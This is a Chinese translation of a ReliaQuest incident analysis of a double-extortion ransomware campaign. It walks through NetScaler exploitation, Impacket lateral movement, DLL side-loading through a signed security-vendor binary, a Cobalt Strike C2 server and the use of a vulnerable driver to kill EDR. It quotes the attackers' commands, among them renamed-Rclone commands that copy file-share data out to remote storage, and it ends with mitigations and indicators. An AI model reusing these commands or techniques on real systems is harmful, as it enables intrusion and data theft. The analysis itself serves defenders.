
前言
2023年9月上旬,ReliaQuest的研究人员在客户环境中检测到了一次来自Windows调试目录的可疑进程执行。根据研究人员的深入调查,该行为来源于一个大规模的网络威胁活动,性质为双重勒索攻击。在该活动中,威胁行为者将对目标用户的数据执行加密,然后部署勒索软件并威胁将用户数据公开发布。
这种攻击攻击模式非常值得我们关注,因为威胁行为者在攻击所用的TTP(策略、技术和程序)上投入了大量精力以避免被安全产品检测到。在这篇文章中,我们对威胁行为者的恶意活动进行了详细介绍,并深入分析了该团队在恶意活动中所使用的TTP,以帮助安全团队更好地构建安全防护措施,并避免在其他环境中发生类似的网络安全事件。
攻击路径
初始访问
在此次安全事件中,由于目标组织考虑到敏感数据和隐私方面的问题,因此ReliaQuest的研究人员能访问到的数据有限,还缺少部分网络流量、操作系统日志以及非Windows设备事件日志等,因此我们无法准确确定威胁行为者的初始访问点。在对第一个包含日志的访问设备进行分析后,研究人员推测其横向移动的初始点是通过利用NetScaler ADC中的漏洞CVE-2023-3519来实现的。该漏洞允许未经身份验证的威胁行为者在易受攻击的NetScaler设备上执行任意代码,从而提供对环境的初始访问和访问活动目录凭据,以及随后横向移动到目标域其余部分的相对简单的路径。
需要注意的是,研究人员推测的这种威胁行为模式也与美国网络安全和基础设施安全局 (CISA)得出的结论一致。
去年,ReliaQuest的研究人员在多个环境中观察到的工具和Payload在不同环境下都会使用相同的“c:\windows\debug”目录来进行代码临时存储。但Windows的调试目录通常应该只存储Windows生成的日志和故障转储以作为故障排除的基础。因此,很多安全团队在调查或检测过程中很容易忽视它。
横向移动
不同寻常的是,威胁行为者在此次攻击中访问的设备数量相对较少。因为目标组织采用了相对“扁平”的网络部署方案,因此从网络边缘到关键核心基础设施所需的横向移动就非常少了饿。而且这种场景将导致威胁行为者无论在切换工具、协议或用户上下文时,都能够快速行动。
威胁行为者使用了Impacket的wmiexec模块在目标环境中实现横向移动以抵达和入侵关键设备,其中最关键的就是域控制器[Domain-Controller01]。通过使用特权服务账号[SvcAcct1](可能是从受感染的NetScaler设备获取的),威胁行为者执行了以下命令:
cmd.exe /Q /c cd windows/debug 1> \\127.0.0.1\ADMIN$\__1693526401.246018 2>&1
我们根据两个指标对上述命令进行了分析,并将上述命令识别为使用Impacket的wmiexec模块的执行结果。其一,命令输出重定向到远程ADMIN$共享(使用的默认共享)上的文件;其二,代码使用了执行时间时间戳作为文件名-1693526401.246018。下图所示的wmiexec.py代码段显示了远程命令的结构:
上述命令表明威胁行为者正在以下目录路径中工作:
c:\windows\debug
接下来,威胁行为者会在调试目录中注入一个DLL(ntnativeapi.dll)和一个源码文件(cyuserserver.exe)。值得一提的是,该文件由Palo Alto进行了数字签名,作为其Cortex XDR代理的组件使用。由于Palo Alto的Cortex XDR产品未在此环境中使用,因此存在这个独立组件就非常可疑了。
Impacket的使用将导致在附加设备[Win-Server]上执行相同的两个文件写入,而这个附加设备则成为了命令与控制(C2)和最终数据提取的中转点。
C2活动
在整个调查过程中,我们看到威胁行为者通过使用传统的内存C2植入方法来建立C2,但并没有看到辅助C2信道或冗余C2信道的迹象,而这也与我们所观察到的最新技术(利用商业远程监控和管理软件实现C2)趋势背道而驰。
在此活动中,威胁行为者通过利用cyuserserver.exe建立了传统的C2,最终将信标加载到Windows系统进程的内存中,从而绕过了传统的恶意软件保护机制,例如应用程序控制等。
在对cyuserserver.exe进行了深入分析后,研究人员发现了来自“Palo Alto Networks (Netherlands) BV”的有效签名。
对本次事件中二进制文件的行为分析表明,cyuserserver.exe进程会从“c:\windows\debug”目录加载威胁行为者的ntnativeapi.dll。在对ntnativeapi.dll文件进行分析后,我们并没有发现有效的签名或产品信息,由于没有任何迹象可以表明该DLL被显示入侵或修改过,因此我们可以确定威胁行为者主要利用cyuserserver.exe来实现DLL侧加载执行。
下图显示的是威胁行为者的攻击链可视化结构,其中威胁行为者注入了DLL Payload和一个Palo Alto二进制文件,并通过DLL侧加载技术实现执行,最终在dllhost.exe中注入了一个C2植入物:
DLL侧加载的工作原理是将恶意Payload放置在与易受攻击的目标应用程序相同目录中,由于应用程序将首先会在其自己的目录中搜索任何所需的DLL,然后再搜索其他位置,因此同一目录中的恶意Payload将代替合法DLL被执行。
在这种技术的帮助下,威胁行为者将能够在合法进程的上下文中执行其Payload。cyuserserver.exe文件写入[Win-Server]后不久,就会通过计划任务执行并创建一个dllhost.exe进程,然后注入并最终与托管在45.77.120[.]140(api.whitelrose[.]com)的Cobalt Strike团队服务器建立连接。
使用工具植入Payload的情况很常见,但使用安全工具中的签名二进制文件来执行恶意 DLL的场景就很罕见了。这是一种有意而为之的方法,其目的就是为了绕过常见的安全监测方法。
C2基础设施分析
在对该活动涉及到的IP地址进行情报分析后,研究人员发现相关地址托管了针对Silver的C2服务器,而Silver则是Cobalt Strike的开源替代品。查看与 IP 地址关联的SSL证书后,发现其CN为*.aliyun[.]com,而这个CN与RedGuard(开源C2前端流量控制工具)的默认自签名证书相关联。
下图显示的是api.whitelrose[.]com C2基础设施的SSL证书信息:
下图显示的是我们从RedGuard GitHub代码库获取到的默认SSL证书信息:
RedGuard的存在将允许威胁行为者通过提供流量控制功能来隐藏其C2基础设施,从而避免不必要的流量分析,而且他们还可以拒绝或重定向来自已知沙箱和扫描工具的流量,且仅允许来自某些国家/地区的流量,或限制与他们已入侵设备的外部地址进行连接。
在此情况下,尽管威胁行为者部署了其基础设施以利用流控制机制来增强其活动隐蔽性,但使用默认证书(而不是适当配置 RedGuard)会让研究人员更加难以琢磨威胁行为者的想法。
对RedGuard的源代码进行分析后,我们发现RedGuard明确地支持Cobalt Strike的使用。考虑到dllhost.exe是Cobalt Strike的常见生成组件,因此我们认为IP地址45.77.120[.]140指向的就是Cobalt Strike团队服务器:
数据提取
为了实现数据提取,威胁行为者利用了Rclone,即一款商业数据传输工具,该工具可以管理并在本地和云存储之间迁移内容。Rclone因其易于访问(免费软件)、高水平可配置性以及对多线程传输的支持而成为热门的实用程序,从而允许威胁行为者实现数据快速提取。
对相关的Rclone代码进行分析后,并未发现关联了任何签名或产品信息哈希,这表明威胁行为者很可能已经破坏了Rclone二进制文件的签名以避免其被检测到或增加静态检测和分析的难度。
Rclone 配置文件通常包含有助于识别泄露数据目标的信息,例如远程存储系统的名称、存储系统的类型(例如Dropbox、MEGA)、用于初始身份验证的客户端ID、以及用于后续认证的访问令牌以及其他敏感信息。
[Win-Server]上的C2植入物用于在下列目录中下载Rclone二进制文件和Rclone配置文件rclone.conf,随后会将二进制文件重命名为firefox.exe:
c:\windows\debug\
此时,威胁行为者会在[Win-Server]上使用重命名的Rclone二进制文件执行以下命令:
c:\windows\debug\firefox.exe copy \\[File-Server]\A$\[SensitiveData1 storagesite:ExfiltratedDataFolder]
c:\windows\debug\firefox.exe copy \\[File-Server]\B$\[SensitiveData1 storagesite:ExfiltratedDataFolder]
威胁行为者会使用Rclone的“copy”来复制可访问文件服务器上隐藏的A$和B$共享上的指定数据,并将该数据上传到任意命名的远程存储系统之中。
在此过程中,firefox.exe二进制文件已解析并连接到dropboxapi[.]com,这表明威胁行为者使用了Dropbox作为其远程存储系统。
防御与检测绕过
在执行数据加密之前,威胁行为者必须禁用现有的终端保护功能,尤其是EDR传感器。为了实现这一目标,他们在受感染的域控制器上的netlogon目录(通常用于组策略登录脚本文件的目录)中暂存了第二阶段的Batch脚本Payload-[tgsqd.bat]。
当在加入域的设备上启动用户会话时,第二阶段Payload脚本将执行,其最终目标就是禁用终端的EDR传感器:
cmd /c “\\[Domain-Controller01]\netlogon\[tgsqd.bat]”
当执行 [tgsqd.bat] 时,会从同一netlogon目录复制第二个随机命名的Payload[ldjxy.txt],然后将其扩展名从“.txt”更改为“.exe”,并在以下目录中复制并执行:
c:\windows\temp\
执行后,新复制的[ldjxy.exe]创建了一个重要的新文件[vulnerable-driver.sys]。在对[vulnerable-driver.sys]进行分析后,发现了有效的数字签名以及原始文件名IObitUnlocker.sys,而这个驱动程序已知是存在安全漏洞的。
[ldjxy.exe]文件的功能是删除并加载[vulnerable-driver.sys],该文件将在内核中运行。内核模式驱动程序在Ring 0级别运行,分配操作系统内的最高权限。该驱动程序将授予对关键内存、CPU和I/O操作的直接访问权限,这些操作支撑着大多数核心操作系统功能(包括安全工具的使用)。
通过加载[vulnerable-driver.sys],威胁行为者可以利用其漏洞禁用受保护的驱动程序,或其他Ring 0安全工具。在本文分析的样例中,禁用的是EDR代理。禁用EDR传感器之后,威胁行为者就可以开始对目标设备上的数据进行加密了。除此之外,由于威胁行为者已经获得了域控制器的访问权限和特权服务帐户的控制权,也就相当于拥有了部署和执行勒索软件所需的访问权限。
攻击已经执行到了这个阶段,而威胁行为者选择花时间执行多个步骤以进一步规避防御并禁用终端的安全保护机制,这不是一个常见的情况,这种行动计划也表明威胁行为者操作的复杂性和有效性。
缓解方案和最佳实践
ReliaQuest的威胁研究团队提供了以下缓解方案和最佳实践建议:
1、限制访问被滥用或不安全的商业服务;
2、扩展日志记录范围并增加可见性;
3、明确阻止易受攻击或包含漏洞的驱动程序;
入侵威胁指标IoC
IoC类型 | 数据值 | 属性 |
IP Address | 45.77.120[.]140 | Cobalt Strike团队服务器 – 从api.whitelrose[.]com解析出结果 |
Domain | api.whitelrose[.]com | Cobalt Strike团队服务器 |
SHA256 | d3eae40d08a9ed0306b142a9abad40b6 15201515af35581b7a0585e334ad43f4 | ntnativeapi.dll |
SHA256 | f6b3cc9e3af99106ae3262ea360c0c51ea 6c8341270fdae47bb5ea4655eb4853 | cyuserserver.exe |
SHA256 | 966256acc79eb07799262c376a73331b 5675591d61e3315cc15b2d6dcccb3a00 | 重命名的Rclone二进制代码 |
SHA256 | 20398192fbef1924202a82fcd3459ef90 1999cebed02ead665c1f9a5087016a8 | 重命名的IObitUnlocker.sys驱动程序 |
参考资料
https://www.reliaquest.com/blog/moveit-vulnerability-update-clop-claims-responsibility/
参考链接
https://www.reliaquest.com/blog/double-extortion-attack-analysis/
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)